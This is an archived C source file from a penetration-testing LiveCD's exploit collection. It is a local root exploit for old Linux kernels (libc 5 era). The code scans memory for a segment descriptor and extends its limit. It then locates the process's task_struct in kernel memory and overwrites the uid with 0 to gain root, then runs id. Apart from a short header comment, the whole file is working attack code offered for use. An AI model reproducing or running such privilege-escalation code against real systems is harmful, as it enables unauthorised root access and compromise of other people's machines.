home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / segment-bug.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  88 lines

  1. The exploit (local root, can be extended to also reset securelevel;
  2. will only compile with libc 5, you'd have to rip task_struct out of
  3. <linux/sched.h> for compiling with glibc):
  4.  
  5. #define __KERNEL__
  6. #include <linux/sched.h>
  7. #undef __KERNEL__
  8. #include <unistd.h>
  9. #include <grp.h>
  10. #include <stdio.h>
  11. #include <signal.h>
  12. #include <sys/resource.h>
  13.  
  14. void die1()
  15. {
  16.         puts("\nFailed: probably not vulnerable");
  17.         exit(1);
  18. }
  19.  
  20. void die2()
  21. {
  22.         puts("\nVulnerable, but failed to exploit");
  23.         exit(1);
  24. }
  25.  
  26. int main()
  27. {
  28.         int *sp = (int *)&sp;
  29.         int *d = sp;
  30.         struct task_struct *task = (struct task_struct *)sp;
  31.         int pid, uid;
  32.         struct rlimit old, new;
  33.  
  34.         setbuf(stdout, NULL);
  35.         printf("Searching for the descriptor... ");
  36.  
  37.         signal(SIGSEGV, die1);
  38.  
  39.         while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 &&
  40.                 (d[2] & 0xFFF0FFFF) != 0x00C0F300) d++;
  41.  
  42.         signal(SIGSEGV, die2);
  43.  
  44.         printf("found at %p\nExtending its limit... ", d + 2);
  45.  
  46.         d[2] |= 0xF0000;
  47.  
  48.         printf("done\nSearching for task_struct... ");
  49.  
  50.         pid = getpid();
  51.         uid = getuid();
  52.  
  53.         if (getrlimit(RLIMIT_FSIZE, &old)) {
  54.                 perror("getrlimit");
  55.                 return 1;
  56.         }
  57.  
  58.  search:
  59.         new = old; new.rlim_cur--;
  60.         if (setrlimit(RLIMIT_FSIZE, &new))
  61.                 new.rlim_cur = old.rlim_cur;
  62.  
  63.         do {
  64.                 ((int *)task)++;
  65.         } while (task->pid != pid || task->uid != uid);
  66.  
  67.         if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search;
  68.  
  69.         if (setrlimit(RLIMIT_FSIZE, &old)) {
  70.                 perror("setrlimit");
  71.                 return 1;
  72.         }
  73.  
  74.         if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search;
  75.  
  76.         printf("found at %p\nPatching the UID... ", task);
  77.  
  78.         task->uid = 0;
  79.         setuid(0);
  80.         setgid(0);
  81.         setgroups(0, NULL);
  82.  
  83.         puts("done");
  84.  
  85.         execl("/usr/bin/id", "id", NULL);
  86.         return 1;
  87. }
  88.